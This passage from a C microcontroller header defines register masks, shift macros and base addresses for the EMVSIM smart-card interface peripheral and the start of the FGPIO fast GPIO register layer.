#define EMVSIM_CTRL_DOZE_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_DOZE_EN_SHIFT)) & EMVSIM_CTRL_DOZE_EN_MASK)
#define EMVSIM_CTRL_STOP_EN_MASK (0x2000U)
#define EMVSIM_CTRL_STOP_EN_SHIFT (13U)
#define EMVSIM_CTRL_STOP_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_STOP_EN_SHIFT)) & EMVSIM_CTRL_STOP_EN_MASK)
#define EMVSIM_CTRL_RCV_EN_MASK (0x10000U)
#define EMVSIM_CTRL_RCV_EN_SHIFT (16U)
#define EMVSIM_CTRL_RCV_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_RCV_EN_SHIFT)) & EMVSIM_CTRL_RCV_EN_MASK)
#define EMVSIM_CTRL_XMT_EN_MASK (0x20000U)
#define EMVSIM_CTRL_XMT_EN_SHIFT (17U)
#define EMVSIM_CTRL_XMT_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_XMT_EN_SHIFT)) & EMVSIM_CTRL_XMT_EN_MASK)
#define EMVSIM_CTRL_RCVR_11_MASK (0x40000U)
#define EMVSIM_CTRL_RCVR_11_SHIFT (18U)
#define EMVSIM_CTRL_RCVR_11(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_RCVR_11_SHIFT)) & EMVSIM_CTRL_RCVR_11_MASK)
#define EMVSIM_CTRL_RX_DMA_EN_MASK (0x80000U)
#define EMVSIM_CTRL_RX_DMA_EN_SHIFT (19U)
#define EMVSIM_CTRL_RX_DMA_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_RX_DMA_EN_SHIFT)) & EMVSIM_CTRL_RX_DMA_EN_MASK)
#define EMVSIM_CTRL_TX_DMA_EN_MASK (0x100000U)
#define EMVSIM_CTRL_TX_DMA_EN_SHIFT (20U)
#define EMVSIM_CTRL_TX_DMA_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_TX_DMA_EN_SHIFT)) & EMVSIM_CTRL_TX_DMA_EN_MASK)
#define EMVSIM_CTRL_INV_CRC_VAL_MASK (0x1000000U)
#define EMVSIM_CTRL_INV_CRC_VAL_SHIFT (24U)
#define EMVSIM_CTRL_INV_CRC_VAL(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_INV_CRC_VAL_SHIFT)) & EMVSIM_CTRL_INV_CRC_VAL_MASK)
#define EMVSIM_CTRL_CRC_OUT_FLIP_MASK (0x2000000U)
#define EMVSIM_CTRL_CRC_OUT_FLIP_SHIFT (25U)
#define EMVSIM_CTRL_CRC_OUT_FLIP(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_CRC_OUT_FLIP_SHIFT)) & EMVSIM_CTRL_CRC_OUT_FLIP_MASK)
#define EMVSIM_CTRL_CRC_IN_FLIP_MASK (0x4000000U)
#define EMVSIM_CTRL_CRC_IN_FLIP_SHIFT (26U)
#define EMVSIM_CTRL_CRC_IN_FLIP(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_CRC_IN_FLIP_SHIFT)) & EMVSIM_CTRL_CRC_IN_FLIP_MASK)
#define EMVSIM_CTRL_CWT_EN_MASK (0x8000000U)
#define EMVSIM_CTRL_CWT_EN_SHIFT (27U)
#define EMVSIM_CTRL_CWT_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_CWT_EN_SHIFT)) & EMVSIM_CTRL_CWT_EN_MASK)
#define EMVSIM_CTRL_LRC_EN_MASK (0x10000000U)
#define EMVSIM_CTRL_LRC_EN_SHIFT (28U)
#define EMVSIM_CTRL_LRC_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_LRC_EN_SHIFT)) & EMVSIM_CTRL_LRC_EN_MASK)
#define EMVSIM_CTRL_CRC_EN_MASK (0x20000000U)
#define EMVSIM_CTRL_CRC_EN_SHIFT (29U)
#define EMVSIM_CTRL_CRC_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_CRC_EN_SHIFT)) & EMVSIM_CTRL_CRC_EN_MASK)
#define EMVSIM_CTRL_XMT_CRC_LRC_MASK (0x40000000U)
#define EMVSIM_CTRL_XMT_CRC_LRC_SHIFT (30U)
#define EMVSIM_CTRL_XMT_CRC_LRC(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_XMT_CRC_LRC_SHIFT)) & EMVSIM_CTRL_XMT_CRC_LRC_MASK)
#define EMVSIM_CTRL_BWT_EN_MASK (0x80000000U)
#define EMVSIM_CTRL_BWT_EN_SHIFT (31U)
#define EMVSIM_CTRL_BWT_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_BWT_EN_SHIFT)) & EMVSIM_CTRL_BWT_EN_MASK)
/*! @name INT_MASK - Interrupt Mask Register */
#define EMVSIM_INT_MASK_RDT_IM_MASK (0x1U)
#define EMVSIM_INT_MASK_RDT_IM_SHIFT (0U)
#define EMVSIM_INT_MASK_RDT_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_RDT_IM_SHIFT)) & EMVSIM_INT_MASK_RDT_IM_MASK)
#define EMVSIM_INT_MASK_TC_IM_MASK (0x2U)
#define EMVSIM_INT_MASK_TC_IM_SHIFT (1U)
#define EMVSIM_INT_MASK_TC_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_TC_IM_SHIFT)) & EMVSIM_INT_MASK_TC_IM_MASK)
#define EMVSIM_INT_MASK_RFO_IM_MASK (0x4U)
#define EMVSIM_INT_MASK_RFO_IM_SHIFT (2U)
#define EMVSIM_INT_MASK_RFO_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_RFO_IM_SHIFT)) & EMVSIM_INT_MASK_RFO_IM_MASK)
#define EMVSIM_INT_MASK_ETC_IM_MASK (0x8U)
#define EMVSIM_INT_MASK_ETC_IM_SHIFT (3U)
#define EMVSIM_INT_MASK_ETC_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_ETC_IM_SHIFT)) & EMVSIM_INT_MASK_ETC_IM_MASK)
#define EMVSIM_INT_MASK_TFE_IM_MASK (0x10U)
#define EMVSIM_INT_MASK_TFE_IM_SHIFT (4U)
#define EMVSIM_INT_MASK_TFE_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_TFE_IM_SHIFT)) & EMVSIM_INT_MASK_TFE_IM_MASK)
#define EMVSIM_INT_MASK_TNACK_IM_MASK (0x20U)
#define EMVSIM_INT_MASK_TNACK_IM_SHIFT (5U)
#define EMVSIM_INT_MASK_TNACK_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_TNACK_IM_SHIFT)) & EMVSIM_INT_MASK_TNACK_IM_MASK)
#define EMVSIM_INT_MASK_TFF_IM_MASK (0x40U)
#define EMVSIM_INT_MASK_TFF_IM_SHIFT (6U)
#define EMVSIM_INT_MASK_TFF_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_TFF_IM_SHIFT)) & EMVSIM_INT_MASK_TFF_IM_MASK)
#define EMVSIM_INT_MASK_TDT_IM_MASK (0x80U)
#define EMVSIM_INT_MASK_TDT_IM_SHIFT (7U)
#define EMVSIM_INT_MASK_TDT_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_TDT_IM_SHIFT)) & EMVSIM_INT_MASK_TDT_IM_MASK)
#define EMVSIM_INT_MASK_GPCNT0_IM_MASK (0x100U)
#define EMVSIM_INT_MASK_GPCNT0_IM_SHIFT (8U)
#define EMVSIM_INT_MASK_GPCNT0_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_GPCNT0_IM_SHIFT)) & EMVSIM_INT_MASK_GPCNT0_IM_MASK)
#define EMVSIM_INT_MASK_CWT_ERR_IM_MASK (0x200U)
#define EMVSIM_INT_MASK_CWT_ERR_IM_SHIFT (9U)
#define EMVSIM_INT_MASK_CWT_ERR_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_CWT_ERR_IM_SHIFT)) & EMVSIM_INT_MASK_CWT_ERR_IM_MASK)
#define EMVSIM_INT_MASK_RNACK_IM_MASK (0x400U)
#define EMVSIM_INT_MASK_RNACK_IM_SHIFT (10U)
#define EMVSIM_INT_MASK_RNACK_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_RNACK_IM_SHIFT)) & EMVSIM_INT_MASK_RNACK_IM_MASK)
#define EMVSIM_INT_MASK_BWT_ERR_IM_MASK (0x800U)
#define EMVSIM_INT_MASK_BWT_ERR_IM_SHIFT (11U)
#define EMVSIM_INT_MASK_BWT_ERR_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_BWT_ERR_IM_SHIFT)) & EMVSIM_INT_MASK_BWT_ERR_IM_MASK)
#define EMVSIM_INT_MASK_BGT_ERR_IM_MASK (0x1000U)
#define EMVSIM_INT_MASK_BGT_ERR_IM_SHIFT (12U)
#define EMVSIM_INT_MASK_BGT_ERR_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_BGT_ERR_IM_SHIFT)) & EMVSIM_INT_MASK_BGT_ERR_IM_MASK)
#define EMVSIM_INT_MASK_GPCNT1_IM_MASK (0x2000U)
#define EMVSIM_INT_MASK_GPCNT1_IM_SHIFT (13U)
#define EMVSIM_INT_MASK_GPCNT1_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_GPCNT1_IM_SHIFT)) & EMVSIM_INT_MASK_GPCNT1_IM_MASK)
#define EMVSIM_INT_MASK_RX_DATA_IM_MASK (0x4000U)
#define EMVSIM_INT_MASK_RX_DATA_IM_SHIFT (14U)
#define EMVSIM_INT_MASK_RX_DATA_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_RX_DATA_IM_SHIFT)) & EMVSIM_INT_MASK_RX_DATA_IM_MASK)
#define EMVSIM_INT_MASK_PEF_IM_MASK (0x8000U)
#define EMVSIM_INT_MASK_PEF_IM_SHIFT (15U)
#define EMVSIM_INT_MASK_PEF_IM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_INT_MASK_PEF_IM_SHIFT)) & EMVSIM_INT_MASK_PEF_IM_MASK)
/*! @name RX_THD - Receiver Threshold Register */
#define EMVSIM_RX_THD_RDT_MASK (0xFU)
#define EMVSIM_RX_THD_RDT_SHIFT (0U)
#define EMVSIM_RX_THD_RDT(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_THD_RDT_SHIFT)) & EMVSIM_RX_THD_RDT_MASK)
#define EMVSIM_RX_THD_RNCK_THD_MASK (0xF00U)
#define EMVSIM_RX_THD_RNCK_THD_SHIFT (8U)
#define EMVSIM_RX_THD_RNCK_THD(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_THD_RNCK_THD_SHIFT)) & EMVSIM_RX_THD_RNCK_THD_MASK)
/*! @name TX_THD - Transmitter Threshold Register */
#define EMVSIM_TX_THD_TDT_MASK (0xFU)
#define EMVSIM_TX_THD_TDT_SHIFT (0U)
#define EMVSIM_TX_THD_TDT(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_THD_TDT_SHIFT)) & EMVSIM_TX_THD_TDT_MASK)
#define EMVSIM_TX_THD_TNCK_THD_MASK (0xF00U)
#define EMVSIM_TX_THD_TNCK_THD_SHIFT (8U)
#define EMVSIM_TX_THD_TNCK_THD(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_THD_TNCK_THD_SHIFT)) & EMVSIM_TX_THD_TNCK_THD_MASK)
/*! @name RX_STATUS - Receive Status Register */
#define EMVSIM_RX_STATUS_RFO_MASK (0x1U)
#define EMVSIM_RX_STATUS_RFO_SHIFT (0U)
#define EMVSIM_RX_STATUS_RFO(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_RFO_SHIFT)) & EMVSIM_RX_STATUS_RFO_MASK)
#define EMVSIM_RX_STATUS_RX_DATA_MASK (0x10U)
#define EMVSIM_RX_STATUS_RX_DATA_SHIFT (4U)
#define EMVSIM_RX_STATUS_RX_DATA(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_RX_DATA_SHIFT)) & EMVSIM_RX_STATUS_RX_DATA_MASK)
#define EMVSIM_RX_STATUS_RDTF_MASK (0x20U)
#define EMVSIM_RX_STATUS_RDTF_SHIFT (5U)
#define EMVSIM_RX_STATUS_RDTF(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_RDTF_SHIFT)) & EMVSIM_RX_STATUS_RDTF_MASK)
#define EMVSIM_RX_STATUS_LRC_OK_MASK (0x40U)
#define EMVSIM_RX_STATUS_LRC_OK_SHIFT (6U)
#define EMVSIM_RX_STATUS_LRC_OK(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_LRC_OK_SHIFT)) & EMVSIM_RX_STATUS_LRC_OK_MASK)
#define EMVSIM_RX_STATUS_CRC_OK_MASK (0x80U)
#define EMVSIM_RX_STATUS_CRC_OK_SHIFT (7U)
#define EMVSIM_RX_STATUS_CRC_OK(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_CRC_OK_SHIFT)) & EMVSIM_RX_STATUS_CRC_OK_MASK)
#define EMVSIM_RX_STATUS_CWT_ERR_MASK (0x100U)
#define EMVSIM_RX_STATUS_CWT_ERR_SHIFT (8U)
#define EMVSIM_RX_STATUS_CWT_ERR(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_CWT_ERR_SHIFT)) & EMVSIM_RX_STATUS_CWT_ERR_MASK)
#define EMVSIM_RX_STATUS_RTE_MASK (0x200U)
#define EMVSIM_RX_STATUS_RTE_SHIFT (9U)
#define EMVSIM_RX_STATUS_RTE(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_RTE_SHIFT)) & EMVSIM_RX_STATUS_RTE_MASK)
#define EMVSIM_RX_STATUS_BWT_ERR_MASK (0x400U)
#define EMVSIM_RX_STATUS_BWT_ERR_SHIFT (10U)
#define EMVSIM_RX_STATUS_BWT_ERR(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_BWT_ERR_SHIFT)) & EMVSIM_RX_STATUS_BWT_ERR_MASK)
#define EMVSIM_RX_STATUS_BGT_ERR_MASK (0x800U)
#define EMVSIM_RX_STATUS_BGT_ERR_SHIFT (11U)
#define EMVSIM_RX_STATUS_BGT_ERR(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_BGT_ERR_SHIFT)) & EMVSIM_RX_STATUS_BGT_ERR_MASK)
#define EMVSIM_RX_STATUS_PEF_MASK (0x1000U)
#define EMVSIM_RX_STATUS_PEF_SHIFT (12U)
#define EMVSIM_RX_STATUS_PEF(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_PEF_SHIFT)) & EMVSIM_RX_STATUS_PEF_MASK)
#define EMVSIM_RX_STATUS_FEF_MASK (0x2000U)
#define EMVSIM_RX_STATUS_FEF_SHIFT (13U)
#define EMVSIM_RX_STATUS_FEF(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_FEF_SHIFT)) & EMVSIM_RX_STATUS_FEF_MASK)
#define EMVSIM_RX_STATUS_RX_WPTR_MASK (0x30000U)
#define EMVSIM_RX_STATUS_RX_WPTR_SHIFT (16U)
#define EMVSIM_RX_STATUS_RX_WPTR(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_RX_WPTR_SHIFT)) & EMVSIM_RX_STATUS_RX_WPTR_MASK)
#define EMVSIM_RX_STATUS_RX_CNT_MASK (0x1C00000U)
#define EMVSIM_RX_STATUS_RX_CNT_SHIFT (22U)
#define EMVSIM_RX_STATUS_RX_CNT(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_STATUS_RX_CNT_SHIFT)) & EMVSIM_RX_STATUS_RX_CNT_MASK)
/*! @name TX_STATUS - Transmitter Status Register */
#define EMVSIM_TX_STATUS_TNTE_MASK (0x1U)
#define EMVSIM_TX_STATUS_TNTE_SHIFT (0U)
#define EMVSIM_TX_STATUS_TNTE(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_TNTE_SHIFT)) & EMVSIM_TX_STATUS_TNTE_MASK)
#define EMVSIM_TX_STATUS_TFE_MASK (0x8U)
#define EMVSIM_TX_STATUS_TFE_SHIFT (3U)
#define EMVSIM_TX_STATUS_TFE(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_TFE_SHIFT)) & EMVSIM_TX_STATUS_TFE_MASK)
#define EMVSIM_TX_STATUS_ETCF_MASK (0x10U)
#define EMVSIM_TX_STATUS_ETCF_SHIFT (4U)
#define EMVSIM_TX_STATUS_ETCF(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_ETCF_SHIFT)) & EMVSIM_TX_STATUS_ETCF_MASK)
#define EMVSIM_TX_STATUS_TCF_MASK (0x20U)
#define EMVSIM_TX_STATUS_TCF_SHIFT (5U)
#define EMVSIM_TX_STATUS_TCF(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_TCF_SHIFT)) & EMVSIM_TX_STATUS_TCF_MASK)
#define EMVSIM_TX_STATUS_TFF_MASK (0x40U)
#define EMVSIM_TX_STATUS_TFF_SHIFT (6U)
#define EMVSIM_TX_STATUS_TFF(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_TFF_SHIFT)) & EMVSIM_TX_STATUS_TFF_MASK)
#define EMVSIM_TX_STATUS_TDTF_MASK (0x80U)
#define EMVSIM_TX_STATUS_TDTF_SHIFT (7U)
#define EMVSIM_TX_STATUS_TDTF(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_TDTF_SHIFT)) & EMVSIM_TX_STATUS_TDTF_MASK)
#define EMVSIM_TX_STATUS_GPCNT0_TO_MASK (0x100U)
#define EMVSIM_TX_STATUS_GPCNT0_TO_SHIFT (8U)
#define EMVSIM_TX_STATUS_GPCNT0_TO(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_GPCNT0_TO_SHIFT)) & EMVSIM_TX_STATUS_GPCNT0_TO_MASK)
#define EMVSIM_TX_STATUS_GPCNT1_TO_MASK (0x200U)
#define EMVSIM_TX_STATUS_GPCNT1_TO_SHIFT (9U)
#define EMVSIM_TX_STATUS_GPCNT1_TO(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_GPCNT1_TO_SHIFT)) & EMVSIM_TX_STATUS_GPCNT1_TO_MASK)
#define EMVSIM_TX_STATUS_TX_RPTR_MASK (0x30000U)
#define EMVSIM_TX_STATUS_TX_RPTR_SHIFT (16U)
#define EMVSIM_TX_STATUS_TX_RPTR(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_TX_RPTR_SHIFT)) & EMVSIM_TX_STATUS_TX_RPTR_MASK)
#define EMVSIM_TX_STATUS_TX_CNT_MASK (0x1C00000U)
#define EMVSIM_TX_STATUS_TX_CNT_SHIFT (22U)
#define EMVSIM_TX_STATUS_TX_CNT(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_STATUS_TX_CNT_SHIFT)) & EMVSIM_TX_STATUS_TX_CNT_MASK)
/*! @name PCSR - Port Control and Status Register */
#define EMVSIM_PCSR_SAPD_MASK (0x1U)
#define EMVSIM_PCSR_SAPD_SHIFT (0U)
#define EMVSIM_PCSR_SAPD(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SAPD_SHIFT)) & EMVSIM_PCSR_SAPD_MASK)
#define EMVSIM_PCSR_SVCC_EN_MASK (0x2U)
#define EMVSIM_PCSR_SVCC_EN_SHIFT (1U)
#define EMVSIM_PCSR_SVCC_EN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SVCC_EN_SHIFT)) & EMVSIM_PCSR_SVCC_EN_MASK)
#define EMVSIM_PCSR_VCCENP_MASK (0x4U)
#define EMVSIM_PCSR_VCCENP_SHIFT (2U)
#define EMVSIM_PCSR_VCCENP(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_VCCENP_SHIFT)) & EMVSIM_PCSR_VCCENP_MASK)
#define EMVSIM_PCSR_SRST_MASK (0x8U)
#define EMVSIM_PCSR_SRST_SHIFT (3U)
#define EMVSIM_PCSR_SRST(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SRST_SHIFT)) & EMVSIM_PCSR_SRST_MASK)
#define EMVSIM_PCSR_SCEN_MASK (0x10U)
#define EMVSIM_PCSR_SCEN_SHIFT (4U)
#define EMVSIM_PCSR_SCEN(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SCEN_SHIFT)) & EMVSIM_PCSR_SCEN_MASK)
#define EMVSIM_PCSR_SCSP_MASK (0x20U)
#define EMVSIM_PCSR_SCSP_SHIFT (5U)
#define EMVSIM_PCSR_SCSP(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SCSP_SHIFT)) & EMVSIM_PCSR_SCSP_MASK)
#define EMVSIM_PCSR_SPD_MASK (0x80U)
#define EMVSIM_PCSR_SPD_SHIFT (7U)
#define EMVSIM_PCSR_SPD(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SPD_SHIFT)) & EMVSIM_PCSR_SPD_MASK)
#define EMVSIM_PCSR_SPDIM_MASK (0x1000000U)
#define EMVSIM_PCSR_SPDIM_SHIFT (24U)
#define EMVSIM_PCSR_SPDIM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SPDIM_SHIFT)) & EMVSIM_PCSR_SPDIM_MASK)
#define EMVSIM_PCSR_SPDIF_MASK (0x2000000U)
#define EMVSIM_PCSR_SPDIF_SHIFT (25U)
#define EMVSIM_PCSR_SPDIF(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SPDIF_SHIFT)) & EMVSIM_PCSR_SPDIF_MASK)
#define EMVSIM_PCSR_SPDP_MASK (0x4000000U)
#define EMVSIM_PCSR_SPDP_SHIFT (26U)
#define EMVSIM_PCSR_SPDP(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SPDP_SHIFT)) & EMVSIM_PCSR_SPDP_MASK)
#define EMVSIM_PCSR_SPDES_MASK (0x8000000U)
#define EMVSIM_PCSR_SPDES_SHIFT (27U)
#define EMVSIM_PCSR_SPDES(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PCSR_SPDES_SHIFT)) & EMVSIM_PCSR_SPDES_MASK)
/*! @name RX_BUF - Receive Data Read Buffer */
#define EMVSIM_RX_BUF_RX_BYTE_MASK (0xFFU)
#define EMVSIM_RX_BUF_RX_BYTE_SHIFT (0U)
#define EMVSIM_RX_BUF_RX_BYTE(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_RX_BUF_RX_BYTE_SHIFT)) & EMVSIM_RX_BUF_RX_BYTE_MASK)
/*! @name TX_BUF - Transmit Data Buffer */
#define EMVSIM_TX_BUF_TX_BYTE_MASK (0xFFU)
#define EMVSIM_TX_BUF_TX_BYTE_SHIFT (0U)
#define EMVSIM_TX_BUF_TX_BYTE(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_BUF_TX_BYTE_SHIFT)) & EMVSIM_TX_BUF_TX_BYTE_MASK)
/*! @name TX_GETU - Transmitter Guard ETU Value Register */
#define EMVSIM_TX_GETU_GETU_MASK (0xFFU)
#define EMVSIM_TX_GETU_GETU_SHIFT (0U)
#define EMVSIM_TX_GETU_GETU(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_TX_GETU_GETU_SHIFT)) & EMVSIM_TX_GETU_GETU_MASK)
/*! @name CWT_VAL - Character Wait Time Value Register */
#define EMVSIM_CWT_VAL_CWT_MASK (0xFFFFU)
#define EMVSIM_CWT_VAL_CWT_SHIFT (0U)
#define EMVSIM_CWT_VAL_CWT(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CWT_VAL_CWT_SHIFT)) & EMVSIM_CWT_VAL_CWT_MASK)
/*! @name BWT_VAL - Block Wait Time Value Register */
#define EMVSIM_BWT_VAL_BWT_MASK (0xFFFFFFFFU)
#define EMVSIM_BWT_VAL_BWT_SHIFT (0U)
#define EMVSIM_BWT_VAL_BWT(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_BWT_VAL_BWT_SHIFT)) & EMVSIM_BWT_VAL_BWT_MASK)
/*! @name BGT_VAL - Block Guard Time Value Register */
#define EMVSIM_BGT_VAL_BGT_MASK (0xFFFFU)
#define EMVSIM_BGT_VAL_BGT_SHIFT (0U)
#define EMVSIM_BGT_VAL_BGT(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_BGT_VAL_BGT_SHIFT)) & EMVSIM_BGT_VAL_BGT_MASK)
/*! @name GPCNT0_VAL - General Purpose Counter 0 Timeout Value Register */
#define EMVSIM_GPCNT0_VAL_GPCNT0_MASK (0xFFFFU)
#define EMVSIM_GPCNT0_VAL_GPCNT0_SHIFT (0U)
#define EMVSIM_GPCNT0_VAL_GPCNT0(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_GPCNT0_VAL_GPCNT0_SHIFT)) & EMVSIM_GPCNT0_VAL_GPCNT0_MASK)
/*! @name GPCNT1_VAL - General Purpose Counter 1 Timeout Value */
#define EMVSIM_GPCNT1_VAL_GPCNT1_MASK (0xFFFFU)
#define EMVSIM_GPCNT1_VAL_GPCNT1_SHIFT (0U)
#define EMVSIM_GPCNT1_VAL_GPCNT1(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_GPCNT1_VAL_GPCNT1_SHIFT)) & EMVSIM_GPCNT1_VAL_GPCNT1_MASK)
/*!
* @}
*/ /* end of group EMVSIM_Register_Masks */
/* EMVSIM - Peripheral instance base addresses */
/** Peripheral EMVSIM0 base address */
#define EMVSIM0_BASE (0x4004E000u)
/** Peripheral EMVSIM0 base pointer */
#define EMVSIM0 ((EMVSIM_Type *)EMVSIM0_BASE)
/** Array initializer of EMVSIM peripheral base addresses */
#define EMVSIM_BASE_ADDRS { EMVSIM0_BASE }
/** Array initializer of EMVSIM peripheral base pointers */
#define EMVSIM_BASE_PTRS { EMVSIM0 }
/** Interrupt vectors for the EMVSIM peripheral type */
#define EMVSIM_IRQS { EMVSIM0_IRQn }
/*!
* @}
*/ /* end of group EMVSIM_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- FGPIO Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup FGPIO_Peripheral_Access_Layer FGPIO Peripheral Access Layer
* @{
*/
/** FGPIO - Register Layout Typedef */
typedef struct {
__IO uint32_t PDOR; /**< Port Data Output Register, offset: 0x0 */
__O uint32_t PSOR; /**< Port Set Output Register, offset: 0x4 */
__O uint32_t PCOR; /**< Port Clear Output Register, offset: 0x8 */
__O uint32_t PTOR; /**< Port Toggle Output Register, offset: 0xC */
__I uint32_t PDIR; /**< Port Data Input Register, offset: 0x10 */
__IO uint32_t PDDR; /**< Port Data Direction Register, offset: 0x14 */
} FGPIO_Type;
/* ----------------------------------------------------------------------------
-- FGPIO Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup FGPIO_Register_Masks FGPIO Register Masks
* @{
*/
/*! @name PDOR - Port Data Output Register */
#define FGPIO_PDOR_PDO_MASK (0xFFFFFFFFU)
#define FGPIO_PDOR_PDO_SHIFT (0U)
#define FGPIO_PDOR_PDO(x) (((uint32_t)(((uint32_t)(x)) << FGPIO_PDOR_PDO_SHIFT)) & FGPIO_PDOR_PDO_MASK)
/*! @name PSOR - Port Set Output Register */
#define FGPIO_PSOR_PTSO_MASK (0xFFFFFFFFU)
#define FGPIO_PSOR_PTSO_SHIFT (0U)
#define FGPIO_PSOR_PTSO(x) (((uint32_t)(((uint32_t)(x)) << FGPIO_PSOR_PTSO_SHIFT)) & FGPIO_PSOR_PTSO_MASK)
/*! @name PCOR - Port Clear Output Register */
#define FGPIO_PCOR_PTCO_MASK (0xFFFFFFFFU)
#define FGPIO_PCOR_PTCO_SHIFT (0U)
#define FGPIO_PCOR_PTCO(x) (((uint32_t)(((uint32_t)(x)) << FGPIO_PCOR_PTCO_SHIFT)) & FGPIO_PCOR_PTCO_MASK)
/*! @name PTOR - Port Toggle Output Register */
#define FGPIO_PTOR_PTTO_MASK (0xFFFFFFFFU)
#define FGPIO_PTOR_PTTO_SHIFT (0U)
#define FGPIO_PTOR_PTTO(x) (((uint32_t)(((uint32_t)(x)) << FGPIO_PTOR_PTTO_SHIFT)) & FGPIO_PTOR_PTTO_MASK)
/*! @name PDIR - Port Data Input Register */
#define FGPIO_PDIR_PDI_MASK (0xFFFFFFFFU)
#define FGPIO_PDIR_PDI_SHIFT (0U)
#define FGPIO_PDIR_PDI(x) (((uint32_t)(((uint32_t)(x)) << FGPIO_PDIR_PDI_SHIFT)) & FGPIO_PDIR_PDI_MASK)
/*! @name PDDR - Port Data Direction Register */
#define FGPIO_PDDR_PDD_MASK (0xFFFFFFFFU)
#define FGPIO_PDDR_PDD_SHIFT (0U)
#define FGPIO_PDDR_PDD(x) (((uint32_t)(((uint32_t)(x)) << FGPIO_PDDR_PDD_SHIFT)) & FGPIO_PDDR_PDD_MASK)
/*!
* @}
*/ /* end of group FGPIO_Register_Masks */
/* FGPIO - Peripheral instance base addresses */
/** Peripheral FGPIOA base address */
#define FGPIOA_BASE (0xF8000000u)
